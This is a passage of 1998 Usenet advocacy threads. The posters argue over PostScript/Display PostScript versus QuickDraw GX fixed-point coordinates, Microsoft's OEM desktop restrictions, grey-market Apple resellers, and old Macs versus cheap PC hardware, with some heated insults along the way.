> Taligent's code. In case you haven't noticed, Apple pretty much has to do
> this any way.
>
Drivel.
> :Explain this in the context of DPS and PDF using the same imaging model,
and
> :how, given that functions such as PSlineto and PSmoveto will remain, that
> :this means that "Apple's in the process of ripping all traces of DPS out
of
> :the Appkit".
>
> First give me your definition of imaging model.
>
cf above -- what more do you need?
> Second the PS* commands
> are pretty basic commands and could be easily replicated with GX or other
> graphics libraries. They are not necessarily reliant on Postscript.
>
But would GX use the same algorithms? Given that output is likely to be to a
PostScript printer, how assured can you be of true WYSIWYG?
> :Name them. And then explain why their authors don't seem to be too
bothered
> :about switching to PDF.
>
> For now DPS support is more important since Rhapsody will be shipping
> soon with DPS. The PDF stuff is 18 months off. They'll probably wait until
> after Rhapsody ships to worry about it.
>
No, it's not a question of waiting until after Rhapsody ships. For the most
part they're not bothered about it *now*, and aren't bothered about it for
the future. We're certainly not, and we're one of the biggest OPENSTEP
developers there is.
> :How would GX render PostScript files?
>
> Someone has already written a shareware PS->GX converter. The
> conversion is rather slow (they didn't optimize it), but overall pretty
> good.
>
So then why won't you accept that MacOS X might be able to render PS
files...?
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 10:25:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l0jtt$cmd$1@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-0206981046500001@192.168.0.3> Eric King claimed:
> : Sigh. Right Eric, 32k is a limit of a floating point number.
>
> It's certainly the limit of a float being converted to a 16.16
> fixed-point number.
Then it doesn't look like a float to me. Or anyone else. It looks like a
float being converted to a 16:16 number.
You're not going to admit this are you?
>
> : How would your shim handle...
> :0 0 moveto
> :100000 100000 lineto
> :stroke
>
> It could clip the out of bounds point or give an error or both.
Which is obviously different behaviour than PS, which processes it just
fine. In other words your claims are clearly false.
> It's still *trivial* to add. We're talking copy & paste here.
PS handles 100000 100000 as a real coordinate. Is it still trival it make
it work?
> developer knows they're going to be working with numbers with such a large
> range, they probably will scale things appropriately. Also, if you know of
> a display device that can show the entire line you mentioned above
> *without* scaling, I'd love to here about it.
That has nothing to do with the API.
> You're really thinking on the wrong scale. Most users and developers
> need sub-pixel precision, not really huge number ranges.
So? This has nothing to do with the API either. Wrapping a shim around
the GX API such that it uses a float rather than a fixed private type does
nothing to the coordinate space!
> No you don't, and an OpenStep developer familiar with DPS' internals
> just said you didn't a few days ago.
Wrong, they said something entirely 100% different, that the INTERNALS used
a different representation. That's what this entire thread is about. You
are clearly trying to deflect that critism, IMHO because you're wrong.
> You think in float but have to remember you're really working in fixed.
No, I don't. That's the point.
> The fundamental problem here is that most systems that run Postscript
> don't have FPUs, so they can't efficiently work with floating-point
> coordinates.
Bla bla bla, more off topic claims.
> If you adopt a Postscript-based imaging model, you're going
> to have to take that fact into account.
I'm _using_ a PS based imaging model, and do nothing of the sort.
Maury
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 15:56:45 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l17bt$joh$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
>In article <6l0dki$8th$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>: How would your shim handle...
>:0 0 moveto
>:100000 100000 lineto
>:stroke
> It could clip the out of bounds point or give an error or both. It's
>still *trivial* to add. We're talking copy & paste here. Of course, if a
Clip the out of range part? Without knowing what the complete path is?!?!
Trivial?!?!? Yeah, right.
Duplicate the clipping functionality present in the graphics library?!?!
With copy & paste ?!?!
Are you out of your mind?
Are you Lawson? :-))
>developer knows they're going to be working with numbers with such a large
>range, they probably will scale things appropriately.
Why?
>a display device that can show the entire line you mentioned above
>*without* scaling, I'd love to here about it.
It may be scaled, it may be clipped. Who cares? At different points
in time it may be either scaled (overview) or clipped (zoom). I shouldn't
have to adjust my data representation just to accomodate different
zoom factors. Ouch!
[...]
>: In DPS you work in float and think in float.
> No you don't, and an OpenStep developer familiar with DPS' internals
>just said you didn't a few days ago. You think in float but have to
>remember you're really working in fixed. Try creating a font glyph that's
>100000 x 100000 in DPS.
No problem, and no, that's not true.
> The fundamental problem here is that most systems that run Postscript
>don't have FPUs, so they can't efficiently work with floating-point
>coordinates. If you adopt a Postscript-based imaging model, you're going
>to have to take that fact into account. If you want a true floating-point
>coordinate system then you don't want GX *or* DPS *or* PDF *or* Flash *or*
>QTML.
No, if you adopt the Postscript imaging model, the *implementation* has
to take that into account. That's what it's all about.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: robyng@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel puts brakes on FireWire
Date: Tue, 02 Jun 1998 15:57:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l17ch$pos$1@nnrp1.dejanews.com>
References: <6ivkga$kai@newsb.netnews.att.com>
In article <6ivkga$kai@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> http://www.zdnet.com/pcweek/news/0504/08afire.html
>
> A few months ago, Adaptec dropped out of the Firewire market;
> now Intel has cancelled plans to integrate support for
> Firewire in its next-generation 440BX chip set.
>
> ***
>
> What does this mean for Apple and its Firewire plans ?
>
> -arun gupta
In all my readings on FireWire, I had not heard anything about Adaptec
canceling out. In fact, they are releasing FireWire products right now.
Could you give me your sources? If everyone's canceling out, I definitely do
not want to reccommend it!
Thanks,
-Robyn
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 17:39:03 GMT
Organization: gte.net
Message-ID: <6l1cob$pp0$3@gte1.gte.net>
References: <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6kkg8n$2h7$1@gte1.gte.net> <35788a6a.84365222@news.supernews.com> <6kv8d9$hkj$1@gte1.gte.net> <35796339.11182092@news.supernews.com>
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On Tue, 02 Jun 1998 02:34:01 GMT, someone claiming to be T. Max Devlin
wrote:
>>No. What you have to prove is your claim that (from message
>>35779ed6.7238238@news.supernews.com ) where this challenge originated:
>>
>>"Netscape can't simply implement the same documented interfaces and
>>replace the pointers in the Registry"
>>
>>Not won't. Not don't want to. Not be difficult to support.
>>
>>* Can't *
>>
>>As in technically impossible.
>>
>>Yes, I know what I'm getting into. That's why I suggest that the
>>challenge officially be considered offered and taken when we each
>>supply our challenge committee (three members appointed by each of us,
>>at least one from each a regular poster to these groups) proof that
>>the fee has been deposited in escrow. Said committee to review your
>>proof and my rebuttal of same and determine which has the more
>>technical merit (of course, we'll also post it here, and see what
>>comments might be generated.) Said determination indicated by a
>>two-thirds majority of the committee. And any additional conditions
>>(above what you and I agree to in the next couple of exchanges here)
>>also to be considered binding upon a two-thirds majority vote.
>>
>>Are * you * still game?
>
>Hell no, what are you, some kind of flake? You can't prove a negative,
>Roger. Stop wasting my time asking me for proof of things that can't be
>done. I rely on my technical experience and competence, and from our
>discussions, I must assume that it is greater than yours. But oooh, you
>sure got me here. You are some kind of genius....
But you have claimed that there are interfaces that MS has not
published which make this impossible. That you make such a claim
suggests one of two things:
1. You are aware of specifically which interfaces are either
incorrectly documented or are not documented at all. If this is the
case, it's an easy $100k for you.
or (more likely)
2. You were talking through the hole in your hat and really don't
know what you were bashing.
Given your backpedalling here, I think we all know which of the above
is more likely.
>If I thought it was a good investment, I stick $100K in escrow to have
>you completely replace IE in Win98 with Netscape, but Microsoft would
>never let us market it...
Marketing it is not part of the challenge. You have stated that MS
has made it impossible to replace the .DLLs. You have blustered about
being paid for your time to prove that this is the case. I have
tentatively accepted this challenge, subject to the conditions I have
already posted in order to publicly determine who is correct.
You, on the other hand, didn't think I would do so, and are now in the
unenviable position of being made to eat your words, publicly. Or are
you suggesting that you would quote the figure you did, knowing that
you could not do the work? In a lot of places, this kind of fraud is
illegal.
>[phoning it in, because even Roger isn't stupid enough to think that
>anything can be proven "technically impossible" in _software_,
>ferchristsakes]
See above.
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 18:05:02 GMT
Organization: gte.net
Message-ID: <6l1e93$pp0$4@gte1.gte.net>
References: <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com> <6kkgac$e0l$13@gte2.gte.net> <35768319.82491925@news.supernews.com> <6kuue2$an9$1@gte1.gte.net> <35765955.8649817@news.supernews.com>
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On Tue, 02 Jun 1998 02:11:13 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Mon, 01 Jun 1998 19:20:59 GMT,
>>>If you can give me any concise description of what specifically the
>>>statement "They can set Netscape to the default browser, but they cannot
>>>change the default startup procedure - I would consider this a valid
>>>"condition" no matter *what* the OS was" then I'll be happy to point out
>>>exactly which parts are incorrect.
>>Unlike your statement above, Chris' is in grammatically correct
>>English. Or is that what's throwing you? Which words don't you
>>understand?
>Far as I can tell, the only problem is that I forgot to change the
>embedded double quotes to single quotes, and maybe you want to quibble
>about the capitalization. Are you having trouble keeping up? Are you
>planning on responding to the statement? ;-/
No, the problem is that you have not completed the thought above.
ITYM "If you can give me a description of what (it) * means *, I would
consider..."
But then again, you might not have, since you didn't see the mistake
even after you had been told there was one...
>>>My approximation would be "they can
>>>install Netscape, and associate it with .htm, but they cannot add the
>>>Netscape icon to the desktop."
>>This is not what Chris has said.
>Did I say it was? I said that was my approximation, didn't I? Are you
>planning on commenting on the content of the statement?
It's not even approximately what Chris said, so unless you want to
claim it as entirely your own and proceed with the discussion on that
basis, I see no need to.
>>>If this is accurate, then the idea that
>>>his is a somehow OS-independant description of software relationships
>>>should be self-evident. The idea that it would somehow be "valid" for
>>>_any_ operating system simply characterizes the thinking of a Microsoft
>>>apologist.
>>Ah, here we go -- here's the breakdown. Chris (correct me if I'm
>>wrong here, CS) is not saying that there is a technical reason for the
>>initial boot to be left alone.
>>
>>He is saying that it is a reasonable condition specified by the
>>publisher, and that it would be a reasonable condition regardless of
>>the OS (and by extension regardless of publisher.)
>Thank you for the clarification. I did not say it was a technical
>reason, either.
Then what, exactly did you mean by:
>>>If this is accurate, then the idea that
>>>his is a somehow OS-independant description of software relationships
>>>should be self-evident. The idea that it would somehow be "valid" for
>>>_any_ operating system simply characterizes the thinking of a Microsoft
>>>apologist.
?
>But this obviously is the crux of the matter. My
>question is, why?
Because it is a reasonable thing for a publisher to do, IM and Chris'
O.
Obviously we differ with you, but since it is opinion, what say we
agree to disagree and drop it?
>>It's a marketing, eye-share thing and not a programming thing.
>>
>>Clearer now?
>Yea, real clear. Why the hell do you think I think it is a stupid idea
>and just another Microsoft scam? It's fucking _amazing_ what you guys
>will apologize for, isn't it?
What apologizing? Have I ever given my opinion on this issue? No, I
have been countering your misstatements about the possibility of
making the changes after that first boot.
For the record, since it is trivially easy to make these kinds of
changes in that way, I think it is a extraordinarily silly thing for
MS to get their collective panties in a bundle over.
>>> [a random "according to the contract, that is correct" response to an
>>>unrelated argument]
>>
>>>>Glad to see you finally acknowledging this.
>>
>>>Never claimed otherwise, you pathetic trolling moron.
>>
>>Then if you have always acknowledged it, why did you, in message
>>3561b544.8450764@news.supernews.com , say:
>>
>>"Until you can furnish some specific text from this mythical license
>>which says what icons go where, I suggest you recognize that those
>>people who _have_ seen OEM licenses don't recall seeing anything in
>>there restricting a PC vendor from making their PCs work the way they
>>want. I mean, we all know that Microsoft doesn't allow OEM to build
>>multi-booters with their OSs, which is bad enough. But you are just
>>_assuming_ that there's anything about whether Calculate must be
>>included or the Trashcan icon can't be touched..."
>>
>>or in message 355b9a25.86044126@news.supernews.com, state:
>>
>>"Do you have some details? Maybe the text of the clause in question,
>>or even a reference to materials in the current legal cases? I may be
>>wrong, though I surely think if there were such a clause this case
>>would not still be moving along."
>>
>>Not to mention the very first time you called me a troll (Sigh.
>>Remember? I hope it was as special for you...) and the ad hominems
>>which followed?
>>
>>I await your apology. Surprize me and own up to it.
>I'm still trying to figure out what you think I said to begin with that
>contradicted these two statements. Something tells me it isn't quite
>the same issue. Let's check... <another ten minutes wasted teaching a
>troll a lesson he'll never learn>
Well, since these are the message IDs from messages you posted, if
there is not enough context it's because you snipped it. Or is it
that you don't know how to use DejaNews to access the full text of
what you originally wrote? Let me now if this is the case,and I'll be
glad to post the entire message. Heck, I'll post the entire thread.
But Max: no one but seems to be having this difficulty.
And the context is you were ranting about needing proof that an OEM
contract with language similar to what you acknowledged existed. And
got quite insulting about my possible motives for not immediately
posting that proof. Which you later backpedalled on and said that you
could understand why I might need to be cautious about doing so. You
never explained why you felt you had to use that characterization nor
apologized for it, either.
>[From 6kkgac$e0l$13@gte2.gte.net:]
>
>>>>[...] System vendors can
>>>>already pick & choose software to install, stick on the desktop, add to the
>>>>Start menu whatever, they just can't *remove* things from the *first*
>>>>bootup.
>>>
>>>According to the contract, you are correct.
>
>Doesn't seem to... No Wait! I get it.
>
>[ironically, Roger included this quote in his post]
>>>I wonder how many OEMs
>>>would agree with your charity concerning Microsoft's tactics,
>>>considering several of them were putatively threatened with losing their
>>>Windows licenses if they included, displayed, removed, or modified
>>>certain icons, et al.
>
>OK, same contract, different discussion. I still don't have the full
>thread, or the time to continue this waste of bandwidth, but can I
>mention that you have never provided the contract text I requested, and
>now that I am simply assuming that it exists to make a further point,
>no, there's no way I'm going to apologize to a troll for crap like this?
So in the first quote, you acknowledge that the OEMs have freedom to
install additional software, and in the second quote, you state that
several of them were threatened for do so, and you don't see why I say
your position on the issue has changed, nor why you should apologize
for insultingly denying that the second quote was ever written by you?
<snip yet another instance of Max ducking the question on a technical
issue>
>>>I have to admit, I would _love_ to waste *way* more time than I can
>>>afford just responding to your ludicrous lack of rational thought and
>>>logical thinking, your trollish and repetitive behavior designed solely
>>>to annoy, and your absolute lack of purposeful statements and arguments
>>>aside from your constant Microsoft apologists defensiveness, embodied
>>>primarily by the kind of verbal diarrhea you have provided here.
>>>Unfortunately, I'll have to make do with an occasional foray into
>>>Microsoftee baiting such as this response.
>>Translation: I have no way to back up what I say, so I'll wave my
>>hands * real hard * and hope no one notices...
>I'll tell you what, Rog. You go get isolated facts and quotes and
>references, and put them in your brain and let them cook, and I'll just
>use the fifteen years of experience I have dealing with the specific
>issues that I discuss, and we'll see who's who, OK? Reality backs me
>up, I have yet to see much of it from your end; just mindless
>contentions that Microsoft is Doing A Good Job.
"Never mind that man behind the curtain!"
>Forgive me for getting emotional satisfaction from saying you are
>getting nowhere. I think most people reading our posts have a pretty
>good idea what I'm doing here on Usenet. And I bet they have some ideas
>on you, too. How confident are you in your cyber-image? ;-)
I realize that I'm debating a rock. But I know that our audience is
getting enjoyment and perhaps from time to time learning something as
I prove, time and again, that when you let your anger at MS get the
upper hand, you write things which cannot be supported by the cold,
hard facts.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 14:27:24 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981427300001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <6l17bt$joh$1@news.cs.tu-berlin.de>
In article <6l17bt$joh$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:Clip the out of range part? Without knowing what the complete path is?!?!
Actually, with GX you *always* know the complete path. Remember we're
not dealing with immediate mode here.
:Trivial?!?!? Yeah, right.
With GX it is. Have you looked how curves and paths are constructed in
GX? This is actually one of my gripes about the library, it *should* be a
bit more automatic, but from the API's standpoint, you do always have
*complete* path information. You also always know where and how a shape is
going to be drawn. I believe QTML provides a more automatic curve
generation utility, but I've written my own, so it's not a particularly
big deal.
:Duplicate the clipping functionality present in the graphics library?!?!
Perhaps a teeny little bit. You just need to preclip the points before
you insert them into a curve or line geometry, possibly adding new ones if
necessary. GX uses quadratic beziers, so it shouldn't be particularly
difficult. They've only got three defining points. Paths are just a packed
array of curves, so the same or similar code would be used there.
:With copy & paste ?!?!
For the most part yes. There are only a handful of calls that could
move or change a shape such that it could go into or out of bounds. The
clipping code would be pretty common. I could even use tag objects to keep
track of the original floating point geometry, which is fine since GX does
not alter the original geometry unless it is explicitly told to do so.
Since I'd be wrapping up the GX Graphics API with new functions,
developers would never need to know what's going on behind the scenes.
:Are you out of your mind?
Nope, just more familiar with the API, than you or Maury.
:No, if you adopt the Postscript imaging model, the *implementation* has
:to take that into account. That's what it's all about.
Okay, point me to some floating-point implementations.
-Eric
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: 2 Jun 1998 18:07:06 GMT
Message-ID: <6l1f0a$t4j$1@newsfep4.sprintmail.com>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net>
<6kvooc$4bb$1@newsfep2.sprintmail.com> <joe.ragosta-0206980819220001@wil82.dol.net>
<slrn6n858f.cm.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6n858f.cm.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >Macintouch has some reports from readers. At least one report says that
> >the retailer claimed that the customer would be getting a computer with a
> >full Apple warranty. When he received the machine, he found out that this
> >was false. That constitutes fraud. If Apple can prove that this situation
> >actually occurred, winning the case under fraud statutes would be a slam
> >dunk.
>
> I don't know that Apple would have standing in such a case; it's the
> consumer's lawsuit (and perhaps the federal government's, if there are
> federal criminal statutes for consumer fraud (I have no idea about that,
> though), or possibly a state's criminal statute might be implicated).
I said the exact same thing to Joe in a email to him. Plus, I dont even know
if Apple can deny
the warranty to someone because they buy from a grey market reseller. Does
anyone have a url for the supreme court case? IIRC, the supreme court
basically said a reseller is a reseller is a reseller, ie their is no
difference between a grey marketer and apple authorized. Of course dont take
my word for this since I just hazily recall it, but if someone could give a
url it would be appreciated
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 18:34:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l1gk2$nrp$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <6l17bt$joh$1@news.cs.tu-berlin.de> <rex-0206981427300001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
>In article <6l17bt$joh$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
>(Marcel Weiher) wrote:
>:Clip the out of range part? Without knowing what the complete path is?!?!
> Actually, with GX you *always* know the complete path. Remember we're
>not dealing with immediate mode here.
GX knows the complete path *before* you insert the points that make up
the path? Wow!! Those GX folks had some pretty funky ESP-technology
going there.
>:Duplicate the clipping functionality present in the graphics library?!?!
[snip]
>:Are you out of your mind?
> Nope, just more familiar with the API, than you or Maury.
...and forgetting a couple of things about graphics + software
engineering...
>:No, if you adopt the Postscript imaging model, the *implementation* has
>:to take that into account. That's what it's all about.
> Okay, point me to some floating-point implementations.
Okay, point me to some fixed-point implementations. :-)
You're still missing the point: how exactly the implementation is
done is completely immaterial. It has to act like it is floating
point throughout.
That's what things like imaging models and APIs are all about,
remember? An implementation is free to use whatever magic it
wants to internally as long as it presents the agreed to interface
to its users. For this particular aspect of Postscript:
A coordinate pair is a pair of real numbers x and y that locate
a point within a Cartesian (two-axis) coordinate system imposed
on the current page.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: Tue, 2 Jun 1998 13:42:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980602133114.12467A-100000@ux9.cso.uiuc.edu>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net> <6kvooc$4bb$1@newsfep2.sprintmail.com> <joe.ragosta-0206980819220001@wil82.dol.net> <slrn6n858f.cm.jason@jhste1.dyn.ml.org> <6l1f0a$t4j$1@newsfep4.sprintmail.com>
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In-Reply-To: <6l1f0a$t4j$1@newsfep4.sprintmail.com>
On 2 Jun 1998 macghod@concentric.net wrote:
> In <slrn6n858f.cm.jason@jhste1.dyn.ml.org> Jason S. wrote:
> > Joe Ragosta posted the following to comp.sys.mac.advocacy:
> >
> > I don't know that Apple would have standing in such a case; it's the
> > consumer's lawsuit (and perhaps the federal government's, if there are
> > federal criminal statutes for consumer fraud (I have no idea about that,
> > though), or possibly a state's criminal statute might be implicated).
>
> I said the exact same thing to Joe in a email to him. Plus, I dont even know
> if Apple can deny
> the warranty to someone because they buy from a grey market reseller. Does
> anyone have a url for the supreme court case? IIRC, the supreme court
> basically said a reseller is a reseller is a reseller, ie their is no
> difference between a grey marketer and apple authorized. Of course dont take
> my word for this since I just hazily recall it, but if someone could give a
> url it would be appreciated
There can be a difference if the grey marketer is passing off used
machines as new or used machines as factory refurbished when they're not.
Some of these people may be claiming that their machines are still under
warranty, but they're not. They also could be claiming to be "Apple
authorized" resellers when they're not.
This is a case of fraud. I'm not sure what grounds _Apple_ would have for
going after these people. Perhaps it could be argued that these groups'
ilegal activities are hurting Apple business.
I dunno. I'm almost sure it's not an issue of "copyrights" or any such
thing.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 13:58:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l10en$mb3$1@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
<6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-0206981427300001@192.168.0.3> Eric King claimed:
> :Are you out of your mind?
>
> Nope, just more familiar with the API, than you or Maury.
Ok, how do you map 100000 1000000 lineto into a 16:16 fixed?
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 18:58:41 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35744B61.1DDA4091@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu>
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Nathan G. Raymond wrote:
[cut - I didn't understand this part]
> [snip]
> >So you say. Diamond M80 for $80, less for a wholesaler. Support for both
> >major 3D sound APIs, PCI interface, robust onboard memory, voice,
> >synthesizer, and mixing support. Average 3% CPU utilization during full
> >operation. That's called *value*, and that's *not* what Apple delivers.
>
> Diamond M80 today, what tommorrow?
> Most PC hardware and software in the market is optimized for "churn" - get
> the consumer to buy it, then a year or two down the road dump it for
> something "newer, better".
Yes! It's wonderful. Every year or so I spend $80 and get the
latest-and-greatest sound card, upon which the fast-moving gaming market
makes wonderful things happen: four-speaker surround sound,
three-dimensional sound, excellent clarity, moving bass, convincing
speech synthesis, low CPU utilization with advanced busmastering
designs.
What does your Macintosh have?
> And from a business perspective, why not?
> Doesn't do your business any good to make something that lasts in the
> computer industry since that will cut down on sales. Give the consumer
> the impression that what they're spending their money on is going to make
> their life better, and that's all that matters.
Oh, Nathan. I forgot about how put-upon the masses are; I suppose I
should include that in my calculation of the benefits offered by a rapid
technological pace. Pie-in-the-sky intellectuals like myself all too
often fail to realize that the best market is the *slow* market.
My father remembers when it was possible for any man to work on his own
car, and gosh darn it, it's a damned shame that companies are pulling
the wool over our eyes nowadays and shipping these ludicrous Northstar
engines that need service only every 100,000 miles. Wouldn't it be
wonderful if everyone realized how technology is ruining their lives?
> Only because Apple was reduced to a much smaller market player did they
> impliment such backward compatability to their machines, operating system
> releases, and developer program. Instead of sink or swim, Apple's been
> floating.
Yes, exactly. The Dead Man's Float, complacent on the gentle waves of
its tiny backyard pool. Why swim in the ocean when you can live in
opulence on the money of fanatical followers?
> Great for me the consumer like me, who can literally pull a
> Quadra 610 out of a garbage barrel and turn it into a NetBSD box doing
> IP-NAT over a cable modem, or pick up a IIci for $30 and turn it into a
> NetBSD X station and dial-in, dial-out server on my home network.
Explain again how you're better off than me. I've turned my share of old
386 and 486 machines into FreeBSD and Linux clients and servers. The
main difference is that I was able to put a serial expander and a fast
SCSI solution into those boxes and get my time's worth.
This is really sort of ridiculous, hearing you expound on the virtues of
old Apple hardware. I have an old Quadra 610 I still use for typing
Microsoft Word documents. I'd never dream of turning it into a NetBSD
box; I can do much better with cheap Intel hardware, and I can put
cast-off equipment into it. Every time I upgrade one of my newer boxes
it's like upgrading two computers, since I can stick my old memory and
whatnot into an older box. Do you Mac people still keep those "Mac
Memory Charts" around for reference?
Don't let me put words into your mouth, but like I said, this sounds
like pure provinciality to me. Have you seen Alan Cox's progress pages
regarding the MacLinux port? Do you realize how difficult it is to to
unravel the silliness of Apple's closed architecture (which changed,
apparently, every six months or so).
> The
> SE/30 will take 128MB of memory and SCSI hard drives as big as you like -
> I picked up some for $25, they make great little UNIX workstations. Tons
> of schools and consumers out there have Macs from the early '90s that do
> what they need, still. Heck, there are people still using Apple IIs
> because they fulfill their needs. Many businesses would be better off
> taking their existing old Macs which they throw in the trash and instead
> running NetBSD, OpenBSD, or Linux68k on them instead of shelling out tons
> of money for new NT boxes.
I don't understand what you're trying to say.
> Mainstream technology has a tendency to be overrated and gimmicky, while
> recently forming mediums sublimate the western world with a placebo of
> society and communication. But the economics of technology makes it
> advantageous to smokescreen, obfuscate, and confuse the consumer into
> feeling the emotional need to constantly buy into it. Much easier to
> control the masses if they are passive, no?
Gee, I don't know, Vladimir. Maybe we can make a new cause out of this;
yesterday's revolution was over the plight of Depression-Era farmers. I
